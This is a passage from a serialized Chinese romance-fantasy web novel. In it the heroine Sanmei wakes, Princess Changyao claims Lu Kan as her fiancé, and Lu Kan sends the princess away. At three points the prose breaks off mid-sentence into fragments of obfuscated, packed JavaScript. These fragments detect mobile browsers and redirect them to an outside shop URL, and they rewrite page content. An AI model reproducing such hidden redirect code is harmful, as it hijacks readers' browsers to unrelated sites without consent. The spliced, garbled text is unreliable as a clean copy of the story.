怕不是故意放出的消息,就为了吓退都城里头那些,总是锲而不舍地追在他身后穷追猛打的贵女吧? “哼,那也只能骗骗那些头脑简单的蠢货,本郡主这么聪明,才不会被骗到呢!” “聪明”的长曜郡主,心里的危机感骤然消散,取而代之的是油然而生的优越感。 她挺直了腰板,故意抬手扶了扶头上闪闪发光的金钗,红唇轻启,道:“你,又是何人?” 长曜郡主脸上表情多变,变幻多端,十分之精彩。 三枚饶有兴致地观赏了一会儿,听见她的问题,杏眸眨了眨,懒懒地打了个哈欠。 她软绵绵地挥了挥手:“不重要,不必在意我。” 说完又打了个哈欠,左右看看有没有能拿来充饥的食物。 什么意思?这是听见自己的身份太过尊贵,自卑了胆怯了?连家门都不敢自报了? “哼。”长曜郡主自豪地翘起了嘴角,柳叶眉轻轻往上一挑,身子一扭,心想:“小丫头还挺识时务。” 再看三枚眼珠子乱转,一脸焦急地寻找什么的样子,长曜郡主眼睛一瞪:“别找了,陆衎不在这儿!” 三枚手肘撑在身下,一边艰难起身,一边揉了揉肚子,闻言点了点头:“哦。” 好不容易坐了起来,顿时头晕眼花,实在是又饿又渴,她点了点长曜郡主:“麻烦,给我倒杯水来。” “什么!”长曜郡主惊呼一声,“你这个低贱的平民百姓,居然让本郡主给你倒水?!” 三枚皱着脸挠了挠耳朵,实在没力气跟她计较,于是又耐心地道:“既然你不愿,那麻烦你帮我喊个人来。” 真是的,自己昏睡了这么久,醒来居然连八耳也没守在身边。 把我就这么丢给这个不知道哪里来的郡主,其他人也不知道都跑那儿去了! “你想喊谁!”没想到长曜郡主听见她要喊人,反应更激烈了,“我告诉你,我今儿来这儿,主要就是来警告你的!” 害怕等会真来人了,自己的目的没达成就被赶跑,到时候岂不又是功亏一篑了?于是长曜郡主打算长话短说、速战速决。 “本郡主警告你,你长得如此平凡而普通,陆衎是不会喜欢你的!你少纠缠陆衎,他这次回京后,皇上就会为我们赐婚,我们很快就要成亲了,你是得不到他的!” 三枚:......? 果然,美人总是招人惦记的! 尤其陆衎那样的大美人,啧啧,这家伙,也太招蜂引蝶了! 长曜郡主说话的语速极快,连珠炮似的往外冒,听得三枚脑袋发蒙、目瞪口呆。 她还以为自己的话成功把三枚这个情敌给震慑住了,于是得意地昂起高贵的头颅,居高临下地道:“到时候我们成婚了,本郡主是不会允许他纳妾的!姿色普通如你,也不行!” “你若是不想受伤,趁现在还不晚,少肖想不属于你的人,离陆衎远点!” “哇!”三枚摇着头,软绵绵地鼓掌叫好,“哇!哇哦!” “真是一场酣畅淋漓、精彩纷呈的发言,厉害厉害!” 她对着自我感动的长曜郡主竖起了大拇指。 耳朵听见熟悉的脚步声,三枚忽而嘴角微微上扬,脑袋一歪,对着站在门口,阴沉着一张黑脸的陆衎,戏谑地道:“要不,你也出来走两步?” 73. 第 73 章 陆衎此刻的心情,实在有些五味杂陈了。 他本来是带着一腔怒火去见镇山神玉玺的,然而进到那个所谓的洞府里一瞧,发现对方仿佛一副枯骨躺在冰床上。 陆衎心里的烦躁更盛了,但又不知道该拿人怎么办。 毕竟对方那半死不活的样儿,是要严刑拷打,还是作威逼利诱? 差点难倒了陆衎。 但他在玉玺饶有兴致的盯视下,思忖了片刻,还是提出了自己此行的目的。 “三枚自从你的洞府出来后,便陷入了昏迷状态,整整三天,至今未醒。” 亲眼见过三枚和孟庄斗法的大场面,陆衎有理由相信,能令丧心病狂的孟庄都害怕忌惮的镇山神玉玺,定然有能力将三枚唤醒。 然而玉玺听完他的话之后,只是皮笑肉不笑地哼了一声,没头没尾地说:“凡事,过犹不及。” 陆衎正欲仔细听,结果她拐了个大弯,开始说起了佛偈。 他拧着眉头,忍着心烦气躁听了半天莫名其妙的因果论,耐心即将耗尽的时候,突然听见一声撕心裂肺的鸣啼声。 是八耳的声音! 一直寸步不离守在三枚身边的八耳,怎么会出现在这儿? 肯定出事了! 陆衎顾不得其他,当即就出了洞府,迎面就撞上了振翅高飞的八耳,还有跟在它后头跑得气喘吁吁的裴元,以及抱着一大箩肉饼的邢正。 “陆在野,快抓住这小八耳,好端端的跟中了邪一样,又是尖叫又是乱飞,疯了一样,还偷东西!” 裴元撸着袖子,满头大汗,一手叉腰,一手指着邢正抱在怀里的一大箩肉饼,气呼呼地朝陆衎告状:“瞧!瞧瞧!它光明正大地偷人老板的肉饼!” “就这小鸡嘴小身板子的,能吃得下多少肉饼?偷一块尝尝鲜得了,它非得贪心地把人老板的肉饼摊子都团了!人老板长得五大三粗的,哪能就那么容易让你跑了?” “结果这个小八耳,不仅不心虚,脾气上头,直接就对上了人老板,将人的肉饼摊子撞得乱七八糟、一地狼藉!我和邢安然赶到现场的时候,它差点没被人逮住大卸八块!” 真是有其主必有其宠! 小三枚也是个一言不合就掀翻桌子的小祖宗! 裴元喋喋不休地告黑状,小八耳却视若无睹。 它猩红着眼睛,拍着翅膀盘旋在洞府的上空,扯着嗓子嚎得声嘶力竭,脖子往前扯得又长又直,头顶的紫色单冠快速地抖动着,仿佛在与某种神秘的力量作斗争。 陆衎直觉八耳的状态不对劲,一脚蹬在墙上,借力往上一跃,观察了一会儿,见它眼里的猩红渐渐消退,才瞅准空隙,快速出手,一下子就擒住了异常亢奋的小八耳。 翅膀被抓住的刹那,八耳犹如被命运扼住了喉咙,在即将燃烧殆尽的最后一刻,拖着尾音嘶哑地、长长地叫了一声。 接着一双鸡腿往前使劲一蹬,八耳脖子一扭,瞬间收声,空气便都安静了下来。 甩了甩过足戏瘾的八耳,陆衎眨眼又回到了裴元的面前。 一脸兴奋的裴元,见状立马簇拥上来,还没张嘴训斥八耳,就听陆衎的声音,幽幽地头顶上方传来。 “你们一个两个,都追着它出来了,院子谁在守着?” 裴元身子一僵,余光瞥见身后邢正的大脚,风驰电掣般往后倒腾了几步,顿时恨得咬牙:邢安然你这个没义气的家伙,居然后退了! 顶着仿佛要穿透脑袋压迫感,裴元咬着牙,突然急中生智地道:“呵,不是有你的暗卫守、守在那儿吗?哈、哈哈。” 假笑两声,他擦了下额头沁出的汗水,抬眸的瞬间,瞬间定住。 裴元看见站在陆衎身后的之夜,脸颊迅速一抽:忘记了,之夜跟着陆衎呢! 所以说,三枚所在的小院,现在除了那群躲在暗处的暗卫,明面上其实并没有其他人守着!! 糟糕!糟糕! 裴元大脑飞速运转,心里祈祷不招人待见的太子和三皇子殿下,最好不要趁他们都不在闯进院子,否则陆衎绝对不会让他们好过,包括自己! 陆衎一看眼前两个家伙的表情,就知道三枚现在的身边没有人守着,心里又是一阵气怒。 “怪我,就不该将人交给你!”他长袖一挥,越过人便走。 “诶!”裴元被陆衎说得有些些委屈,他也不是故意的啊。 小八耳突然一边飞一边嚎叫,包有料那个家伙见状,一惊一乍地说什么幻梦、怨灵的,他也来不及细问和多想,见八耳快要飞远了,只好先追啊。 只是没想到,追着追着,就追到这儿来了。 见陆衎甩袖便走,裴元连忙小跑跟上,绞尽脑汁正想说点什么找补一下,“太子和三皇子——” 话才说了一半,邢正突然上前一步,截住话头道:“听说一大早就出游了,我渡船从眧州过来水都这边的时候,看见了二位殿下所乘的大楼船。” 正如邢正所言,太子和三皇子两人,此刻同乘一舟,正飘荡在镜湖之上,找寻传说中的水尾寨,根本无心在意陆衎的院子到底住了谁。 裴元眼睛瞬间一亮,突然就理直气壮了起来:“对!所以你放心,院子里不会有人胆敢误闯的!” 然而令他没有想到的是,所有人都漏算了一个人——长曜郡主! 听见裴元和邢正的话,陆衎紧拧的眉头仍旧没有松开,斜眼睨了下抓在手中的八耳,他的心里莫名还是有些担心,脚下的步伐越跨越大,越走越快。 “即使没有人误闯,但若是三枚突然醒了呢?” 不吃不喝睡了三天三夜,整个人肯定又饿又渴,哪有力气起身喊人! 若是蛇族有漏网之鱼伺机报复呢? 怎么可能这么凑巧!搞不好我们回去了都没醒呢! 裴元心里这样想着,刚要张嘴说出来,就被邢正用力往后一扯,牛眼对他一瞪,用气音喝他:“你是不是也跟水不对付啊?我怎么觉得你将脑子寄放在眧州那边了。” 也可能是脑子进了水吧,不管好赖什么话都往外冒! “诶!”裴元倒是一下子就听出来邢正在骂他没脑子,“你小子,什么时候还学会了拐弯抹角地骂人了!” 他气得抬手就要砍人,身边猛然略过一阵疾风。 裴元眼前一花,抬眼定睛一看,就见一身黑衣的之夜风驰电掣般跑到陆衎身边,低声说着什么。 “序姑娘,醒了!” 邢正眯着眼仔细看着之夜的嘴型,读完他报告给陆衎的话,反应了一下,按在裴元胳膊上的大掌,蓦然用力一抓。 “什么!” 顾不得手上的疼痛,裴元亦是喜上眉梢,与邢正对视一眼,两人立即化干戈为玉帛,一起笑着追再陆衎的身后。 “太好了,小三枚醒了,我们再也不用忍受陆在野这个冻死人不偿命的活阎王了!” ——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387946|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 冻死人不偿命的活阎王陆衎,满心的欢欣愉悦,在看见堵在三枚长榻前胡说八道的长曜郡主时,顿时烟消云散,取而代之的是忍无可忍的厌恶。 更令他窝火的是,听了她那些荒诞无稽的谬论,三枚居然还笑得出来! 她难道不该生气吗? 为什么还笑得出来? 难道就一点不在乎自己? 面沉如水的陆衎,在三枚笑意盈盈的注视下,重重地跨过门槛,一步一步往前走。 他径直略过脑袋低得快要掉到地上的长曜郡主,不疾不徐地走到了软塌前。 三枚已经换了个舒服的姿势,打算好好看戏,见陆衎眼神喷火一样一眼不错地盯着自己,她舔了舔唇,笑嘻嘻地耸了耸肩,双手往前轻轻一抬,做了个“请”的手势。 “您先忙哈。”她挑眉对着陆衎道。 陆衎被她这么一笑,心头的无名火便散了一半。 再看她除了面色有些苍白消瘦,精神状态还挺不错,甚至有力气和闲心挤眉弄眼气他,看来是没甚大碍。 他这几日心里一直高高提着的石头,终于慢慢的放了下来,嘴里起的水泡,好像也没那么疼了。 陆衎磨了磨牙,舌尖抵了抵后槽牙,眼尾带笑地瞪了三枚一眼,才听话地慢慢转身,看向了坐在边上鹌鹑一样的人。 必须把眼前这碍眼的人赶走,免得日后留下祸患,坏了自己的好事! “长曜郡主。”他看着长曜郡主,声音不轻不重,情绪没甚起伏地道。 长曜郡主闻言,身子情不自禁就是一颤,声若蚊蝇地道:“嗯、嗯。” 在看清门口的站着的人是陆衎时,她又羞又愤,藏在袖子底下的纤纤玉手,早已拧成了一团。 也不知道自己刚才对着三枚颐指气使、大言不惭的正宫言论,被陆衎听去了多少! 尽管悔不当初,长曜郡主这时也不忘在心里恨上三枚:狡诈多端的野女人,肯定是故意诱导自己在陆衎面前出丑,好衬托她的无辜白莲花形象! 一想到自己的形象碎了一地,羞愤欲死的情绪嚯地一下,涌上心头。 长曜郡主恨不能就地昏倒装死。 可她又实在不想在三枚面前丢脸,于是一时直到陆衎走到近前来了,她还是没能想出一个两全其美的应对方法,只能一直低着头,心里祈祷这时能从天而降一个人来,救她于水火之中。 然而老天好像没听见她的祈祷,房间除了他们三人,再没有一个人来。 仿佛被架在火上炙烤,长曜郡主自诩脸皮再厚,也一时半会没法抬头面对陆衎。 房间安静了一会儿,空气似乎也跟着凝滞了一般,气压低得人有些喘不过气。 等了好一会儿,都没听到陆衎再次出声,长曜郡主又不敢抬头,脖子已经开始酸痛也只僵着不敢动,嘴巴微张,小口小口地呼吸。 正想抬头偷偷看上一眼,就听一声小小的轻哼,吓得她飞快地缩回脑袋。 陆衎拧着眉,半晌后才淡声道:“长曜郡主,你跟我陆某人,有仇吗?” “怎么会!”长曜郡主猛地抬头,却被陆衎的冷脸吓退,立马又低头。 她摇头连声道:“没有没有,怎么会呢!” 陆衎轻哼:“没有?” “绝对没有!”长曜郡主连连点头,非常肯定地道。 “没有的话,为何郡主三番两次对外造谣,四处诋毁我陆衎的名声!” 74. 第 74 章 “没有的话,为何郡主三番两次对外造谣,四处诋毁我陆衎的名声!” “怎么就造谣了?”长曜郡主嚯的一下站了起来,委屈地道:“我哪里就诋毁你啦?” 陆衎面无表情:“难不成半刻钟前你说的混账话,我还得给你重复一遍?” 他看着长曜郡主,满满的压迫感。 然而长曜郡主被他眼里的厌恶刺痛,顾不得害怕和羞耻,头颅一昂,又恢复了平日嚣张跋扈的样子。 “陆在野,我不许你在别的女人面前凶我!” 看热闹的三枚,突然被她尖锐的红指甲一指,瞬间瞪大眼睛:!! 陆衎眉头一拧,挡在三枚的身前,看着长曜郡主的眼神越发冷冽:“郡主,请你自重!” “陆衎!”长曜郡主尖声道:“本郡主怎么就不自重了?” “你为了这么一个来历不明的野女人,又是说我造谣,又是要我自重,陆衎!难道本郡主就这么惹你生厌吗?” 三枚:...... 气氛都到这儿了,我若是不说上两句,是不是就不礼貌了? 然而不等她开口,长曜郡主把脸一扭,枪口一转,又对上了陆衎。 “况且我说的话,哪一句不对了?” 长曜郡主因为情绪太过激动,浑身颤抖。 但在陆衎面前,她还是努力压抑着自己,默默地收回手指,长袖一甩,她理直气壮地道:“都城所有的人都知道我长曜喜欢你陆衎。” “等会儿,”三枚迅速举手,她说:“我听裴世子说过,追在陆衎身后的小姑娘小郎君哟,能从都城排到边疆去——” “小三枚!你竟敢出卖我!” 偷偷躲在窗口看好戏的裴元,听见三枚提及自己,甩开邢正拽着他的胳膊,腾的一下就站了起来。 空气突然一阵安静。 “哟,都在呢。”三枚转头,突然笑嘻嘻地道。 不嘻嘻的裴元,苦着一张脸,在陆衎看过来的瞬间,掩耳盗铃一样抱着自己的脑袋,快速地蹲了下去。 口无遮拦的裴子钰! 陆衎气得牙痒,无奈地瞪了三枚一眼,沉声道:“我从未搭理过裴子钰口中的那些乱七八糟的人。” “对!”长曜郡主突然插嘴道,她昂首挺胸,“都城那些妖艳贱货,从未入过陆衎的眼。” 陆衎拧眉:“跟你说话了?” 自己甚至从来都没正眼看过长曜郡主,也不知道她哪里来的自信信口雌黄。 “起码站在人群里,你明确地知道我是谁!”长曜郡主在追着陆衎跑的这些年,已经学会了如何调节情绪和自我安慰。 “而且,你从未拒绝过我!” 陆衎一脸嫌恶地看着长曜郡主,不用他开口,躲在窗外的裴元忍不住替他辩解道:“那时因为,陆在野眼里根本就没有你!” “他无视你也不是一次两次了。你也就是投了个好胎,身边围着那么多阿谀奉承的马屁精,一点实话都听不得。” “你胡说!”长曜郡主厉声道。 “我可没有胡说,全都城就属你长曜没有自知之明,你自己好好想想,陆在野他哪怕理过你一次吗?” 陆衎在都城,可是出了名的目下无尘,连太子皇子的账都不买,哪里就将你一个区区的郡主放在眼里? “那是因为他生性内敛,不善言辞,是为了我的名声着想,亦是因他因我貌美,害羞了!” 长曜郡主信誓旦旦地道:“所以每次我堵住他的时候,他才总是躲着我走。” 疯了疯了。 裴元抱着酣睡的小八耳,看着同样一脸莫名其妙的邢正,手指一会儿指着自己的脑袋,一会儿指着房间,摇头晃脑地道:“无搅蛮缠、不可理喻!” “哇哦!”三枚看了一脸黑沉的陆衎,比了个大拇指,用口型对他说道:“厉害!” “闭嘴!”长曜郡主听不得三枚的声音,长袖一挥,特别有气势地转了个身。 她拂过自己的华丽锦衫,自豪地道:“论家世,论样貌,谁能比得过我?谁敢跟我抢!谁能抢得过我!” 陆衎一脸黑线,冷眼逐渐从嫌恶转为淡漠,“不知道郡主是从哪里染上的恶疾,但陆某奉劝郡主一句,有病要趁早医治。” 长曜郡主心里一喜:陆衎在关心我! 她的心里甜滋滋,以为陆衎被自己的一番言论感动,终于知道自己是这个世界上最懂他的女人了。 于是打算趁着氛围,转身就要对陆衎进行深情表白,结果却见陆衎居然无视自己,坐在软塌边正在给别的女人端茶倒水。 气得她差点一口气喘不上来。 别的女人——三枚,眼睛亮晶晶地看着长曜郡主的激-情演讲,心中正感叹原来戏文里演得那些霸道的、蛮不讲理的皇宫贵族,是一点也没有夸张,甚至还略显保守了。 果然戏剧来源于生活啊! 她抬手就要鼓掌叫好,嘴边却突然出现了一个白瓷茶杯。 看着杯子里微微荡漾的水纹,三枚忽而惊觉自己又饿又渴,嘴巴干得都快冒火了。 她也没多想,嘴巴直接对上了茶杯,小口小口地开始喝水。 喝到一半,眼睛往边上一瞟,突然就对上了陆衎的一双好看又迷人的眼睛。 他嘴角带笑,正目不转睛地看着自己喝水。 怎么说呢,三枚本来就知道陆衎长得特别好看,但她自觉自己跟陆衎呆得够久,已经对他的外貌免疫了。 然而如此近距离地、十分直观地与他对视,三枚顿觉视觉收到了强烈的冲击。 她忍不住在心里又发出感叹:老天爷,这个世界怎么就能有这么好看的人呢! “呵。”陆衎不知怎的了,突然垂眸一笑,再抬眼时,眼角眉梢全是迷人的笑意。 !! 那一刹那,三枚清楚地听见,自己的心脏突然“砰”地一声,剧烈地跳动了起来。 “咚咚!咚咚!” 擂鼓一般的响,吵得她呼吸有些紊乱,甚至面颊发烫。 三枚飞快垂下眼睛,嘀嘀咕咕:“看什么看,有什么好看!” 嘴上强硬,可她不知为何有些心虚,脑海又浮现出陆衎的笑眼,顿觉又口干舌燥了起来,于是张口又喝了一大口水,喝着喝着,突然顿住。 她的双手正举在身前,打算给那个什么郡主鼓掌叫好。 那么问题来了,喂到自己嘴边的茶杯,又是谁在拿着呢? 该不会是...... 水汪汪的杏眸,忽而一颤,三枚小心翼翼,往边上一斜眼。 !! 陆衎真的在给自己喂水!! “啊啊啊!!!” 三枚觉得自己要疯了,但不知为什么要疯! 长曜郡主的疯言疯语好似渐退渐远,取而代之的,是自己越来越大的心跳声。 她十分肯定,自己的脸一定红透了。 三枚一边感到有些羞耻,一边不合时宜地想:陆衎这家伙,该不会把自己当成小猫小狗了吧。 那自己独自在这里害羞个什么劲啊!! 看见长曜郡主转身看来,她做贼心虚一样,一把就将陆衎推开了。 陆衎猝不及防被推开,差点将杯子里的茶水都溅在自己身上。 他不敢置信地看向三枚,却见她掀开被子就要夺窗而逃,立马长臂一伸,将人拽到自己怀里。 陆衎咬牙切齿地道:“你跑什么!” 三枚杏眸一转,无辜地眨了眨:“我——” “啊啊啊!!”见陆衎居然和三枚旁若无人地抱在一起,长曜郡主觉得自己要疯了。 她尖叫着冲了过去:“陆衎,你当着本郡主的面,在做什么!” 听见尖叫声,陆衎才突然想起来,房间里还有一个不招人待见的烦人精。 余光瞥见朝自己怒冲过来的人影,他眉头一拧,抱着三枚轻轻地旋了下-身,敏捷地躲过了长曜郡主。 “嗙!” 软榻上传来一声巨响,接着是一声带着哭腔的闷哼。 三枚脸颊一皱,估计那个叫做什么长曜郡主的,摔得不轻。 她推着陆衎的胸口,正想抬头看看呢,头顶忽而响起一声轻哼:“看什么,有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404300|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看!” 陆衎眉头轻蹙,心里有些不是滋味。 自己从出现到现在多长时间了,三枚只有在一开始给了自己几个正眼,期间她的眼睛一直亮晶晶地黏在那个烦人的长曜郡主身上,乐呵呵地听着那些胡言乱语。 也不知道那个烦人精有什么好看的! 若不是看她越听越精神,一副饶有兴致的模样,自己早就将长曜郡主给轰出门了。 现在人在自己怀里,居然还有闲心关心别人。 陆衎将人抱离乱成一团的软榻边,佯装凶狠地道:“你把眼睛睁大点,看清楚了,她能有我好看?” “哼!凶什么凶。”三枚嘀咕一声,“怎么我连热闹都不能看啦?” 本想听话地将脑袋缩回去,缩到一半,她突然心气不顺了起来。 用力锤了下陆衎的胸口,三枚接着用手使劲推他,“放开!你将来的、未过门的妻子都摔倒了,你不去扶,抱着我作甚!” “嘶!”陆衎气得咬牙,抱着三枚的手用力往怀里一收,“乱说什么?” 三枚腰上一紧,额头差点磕在陆衎的下巴上,吓得她连忙撑着人的肩膀,脑袋用力往后仰,摇着头正想耍赖,突然瞥见陆衎脖子上的红绳。 挣扎的动作瞬间顿住,她突然想起自己之前给过陆衎一枚五铢钱,当初好像也是被他用红绳串起来,戴在了脖子上。 她一边想着,一边鬼使神差地伸手,扯住陆衎脖子上的红绳。 陆衎身子一僵,看着三枚拽着红绳的一端,慢慢地往后抽。 随着三枚的动作,他的喉结轻轻一滚,不动声色地咽了下口水。 带着陆衎体温的五铢钱,被三枚轻轻地从他的怀里抽走。 三枚一愣,霎时一阵耳热,瞬间觉得浑身发烫,忽而一个激灵,烫手山芋一样丢开红绳,“你、你......” 居然把五铢钱贴身藏在怀里,怪不得其他的五铢钱会喜欢你! 三枚的五铢钱是山门家主的象征,拥有自己的意识,还能自己择主,不但能寻尸、问卦,还能灭鬼除咒。 只有被它选中,才有资格坐上家主一位,继承山门一脉。 但是但是! 不仅能自己择主的铢钱,还有个爱替家主选择婚配的特性,特别是三枚这种自愿给出铢钱的情况,一般会被它视作暗中定情。 就像她爹当初死缠烂打非要她娘收下五铢钱一样,就是为了抵抗族人要他联姻,于是先下手为强,给自己预定了个媳妇。 等族人死了心后,自己再慢慢踏上追妻之路。 所以三枚现在特别想扒开陆衎的衣裳,看看他的身上是不是被盖上了铢钱之印。 铢钱之印若是盖上了,自己这辈子就只能认定陆衎一个人了。 虽然能把陆衎拐回山里做夫君也挺美的,但三枚不知怎么,莫名有点不甘心,又怕陆衎知道后他不愿意,丢了面子。 陆衎若是拒绝了自己,他是可以令娶,但三枚就得孤独终老了。 她急得抓心挠肝,陆衎却莫名红了耳朵。 见怀里的人一脸脸颊红红,他突然压着声音说道:“你自己说的,你让我抱着我将来的未过门的妻子的。” 没有反应过来的三枚,愣了一瞬,忽而又开始用力锤他:“那她说的呀,你找她算账去!” “我不找她,我就找你!” 陆衎轻笑一声,抱着三枚,三步并作一步,转身就出了房间。 他得找个安静的地方,没有外人打扰,两人好好谈一谈。 “啧啧啧。” 裴元皱着鼻子,一脸贱笑地看着邢正。 “我怎么觉着,陆在野抱着小三枚的动作,怎么就那么自然又熟练呢?” 邢正挠头:“他俩好像第一次见面的时候,就抱在了一起。” “什么!” 裴元不可思议地吼道:“这么重要的事情,你怎么不早说!” 吼完人,低头看着被自己捂住嘴巴的长曜郡主,同情地道:“听见没,长曜啊,你没希望了!” 死缠烂打,是永远都敌不过一见倾心的! 75. 第 75 章 陆衎想找个安静的地方、没有外人打扰地方,跟三枚坐下来好好谈谈的计划,终是没能实现。 太子和三皇子落水了。 陆衎拧眉:“他们两个跑到镜湖去作甚?” 真是一点不省心,他们难道不知道湖里出了多少人命吗? 竟然还敢随便跑出去,还搞到落水。 之夜低着头,躬身回道:“听随身护卫说,两位殿下好像一直在谈论什么虎头蛇尾,还说要去找什么木雕圆雕的东西。” 三枚和陆衎对视一眼,眉头一挑,忽而问道:“咦,玉玺没派人出来清湖吗?” 被用来填湖镇魂的无辜少女,尸体已经被打捞上岸,镜湖底下的尸水和尸泥,没了掣肘,一定会浮上水面,清澈的湖水不止会被污染,更是剧毒无比。 若是没有清湖,人掉下去,肯定会被融化吞噬。 之夜侯在一旁,闻言看了陆衎一眼,才回答:“人好像第一时间就从湖里捞了上来,太医检查后,说身上没甚大碍,连水都没呛到,但是......两位殿下的嘴巴,一直张张合合,好像在说话的样子,但又没有发出声音。” 围观的水都陆民七嘴八舌,都说是中邪了。 最后还是那个叫做兰哥的孩子找到了之夜,让他来找三枚。 “这样啊。”三枚点点头。 看来小坂妹和玉玺谈得还不错,镜湖已经被清,兰哥才会让人来找自己。 三枚想了想,从袖中掏出之前打孟庄时,从他身上逼出的镇魂丹,小心翼翼地拿指甲扣了扣。 扣了差不多皮屑那样大的的两小块,她皱着脸,有些肉疼地抹到陆衎的手里。 “一块泡一碗水,温水喂下,让人好好睡一觉就没事了。” 余光瞥见裴元眼冒精光盯着陆衎手里的那点屑屑,三枚抱起邢正送过来的一大箩肉饼,好心提醒道:“这东西可不能乱吃,让人回魂的,若是正常人吃了,适得其反。” “那湖水虽然已经被清了,但还不算太干净,不小心碰到,随时要掉魂,起码得静置个十天半个月的。” 裴元刚伸出的手,吓得往回一抽,不情不愿地砸吧砸吧嘴。 之夜拿了块干净的帕子,小心包好东西,“属下这就吩咐人将镜湖围起来,不让外人擅闯。”说完便出了门。 事情完了,三枚也快饿死了。 见人终于走了,身子软骨头一样往床上一倒,她开始心无旁骛地啃起了大肉饼。 裴元撇嘴,看着三枚道:“所以之前小八耳大闹肉饼摊,是因为早就知道你要醒了?” 睡了三天三夜,醒来肯定饿得眼冒金星,需要进食补充能量,裴元充分理解。 “但是,为什么一定要是肉饼?小厨房里每天煨在炉子上的米粥肉汤什么的,不比这肉饼好克化?” 非得舍近求远,跑到闹市里打砸偷抢几块肉饼,真是令人匪夷所思。 裴元轻摇折扇,看着躺在陆衎床上有气无力大口啃肉饼的三枚,嫌弃地摇了摇头。 吃东西的样儿,一点正行没有,陆在野居然愿意让人在他的床上这么造,看来是真栽了。 过分溺爱了! 三枚闭着眼睛,专心致志啃肉饼,听见裴元的话,软绵绵地摆了摆手。 见她啃累了,陆衎便低声劝她:“别噎着,喝点水歇歇再吃。”边说边将茶水喂到她嘴边。 “啧,这还是我认识的陆在野吗?该不会被哪路妖孽夺舍了吧。”裴元小声嘟哝道。 怎么就这么贴心温柔呢! “还有这个小三枚,看着人瘦瘦小小,胃口还真好!你那一大箩的肉饼,她这一口气都快要吃完了,也不怕撑坏了肚子。” 陆在野居然也不拦着。 邢正挠了挠耳朵,奇怪地睨了裴元一样,“你怎么从刚才到现在,叨叨个没完,跟蚊子一样聒噪。” 人两个郎才女貌、两厢情愿的,你怎么跟老妈子一样,七嘴八舌说不停。 “嘶,我怎么了?我就是觉得眼前的陆在野特别陌生、特别神奇,别说你心里一点想法没有!” 邢正:“懒得跟你说。” 他现在十分确定,裴元的脑子一定是没带在身边。 心里有想法也别说出来,陆在野耳聪目明的,你就算用腹语说话,他也能听得见。 我才不上赶着得罪人呢! 邢正在心里腹诽,看着三枚吃东西的速度稍微慢了下来,猜想她估计吃得差不多了,于是几步上前。 “眧州那些少女的尸体,基本都已经由其父母认领,火化后也都安葬妥当了。”他看着三枚说道。 “但是其他的,腐烂程度太严重了,我们谁都没办法确认身份,又怕怕曝露太久恐将引发疟疾,于是只能一把火也给焚化了。但现在不确定的是,应该就地找个地方埋葬了,还是......” 邢正欲言又止,上头其实给了两个选择,一是让他把骨灰交给陆衎带回都城交差,二是哪里来的还送到哪里,直接撒到镜湖里。 但他跟陆衎商量后,觉得还得跟三枚说一声。 陆衎也看着三枚,进入洞府之前,兰哥曾经告诉他,三枚亲口说过镜湖里其他枉死的怨魂,都跑到锁魂箱里去了。 当邢正找他商量的时候,陆衎直觉那些骨灰,应该还有用处。 三枚啃完最后一块肉饼,就着陆衎的手喝完一杯清茶,意犹未尽地伸了个懒腰后,才慢腾腾地从床上坐了起来。 “确实还有用处,落叶归根,魂归故土,我得送她们回家。” 她抬眸飞快看了一眼陆衎,对上视线前又快速移开,低头就去扒拉脚边熟睡的八耳。 “你若是需要交差,那抓一把给我也行,若是觉得膈应又不好处理,全部交给我是最好的。” 陆衎嘴角微扬,转身将手中的空茶杯放到桌上,刚要张口,就被煞风景的裴元抢了先。 裴元眉头拧得老高,看着三枚道:“什么意思?” “什么叫送她们回家?”他啪地一下打开折扇,“你知道这些被害的死者,是哪里来的了?” 三枚摇头:“现在不知,不过没关系。” 她轻抬下巴,点了点被搁置在角落的锁魂箱,“她们会给我指路的。” 裴元脑瓜子终于上线:“所以说,你打算在这里跟我们分道扬镳,给这些家伙送魂,不跟我们回京了?” 三枚被他说的一头雾水:“我什么时候说过要跟你们回京了?” “那你、那你......”裴元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422966|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指着三枚,看着邢正道,“这家伙怎么回事?” 不是说她已经跟陆在野两厢情愿了吗?难道不应该跟他们回京,赶快将亲事定下来吗? 还是说小三枚就这么自信,一点也不害怕陆在野会被别人抢走? 作为眧州本地人的邢正,乍然听见他们讨论起了离开的事情,心里突然就有点不是滋味。 一个个都走了,留他一个人在眧州,孤零零的。 “你看,连邢安然这样的木头都伤感了起来,小三枚你还是先跟我们回京吧。” “不行!身为寻尸人,我有义务帮助这些枉死的冤魂入土为安,况且,这也是薛婉茹的请托。” 她在眧州和水都浪费的时间已经够多了,在加上要为锁魂箱里的怨魂送回家,肯定不是十天半个月的事,搞不好半年都走不完。 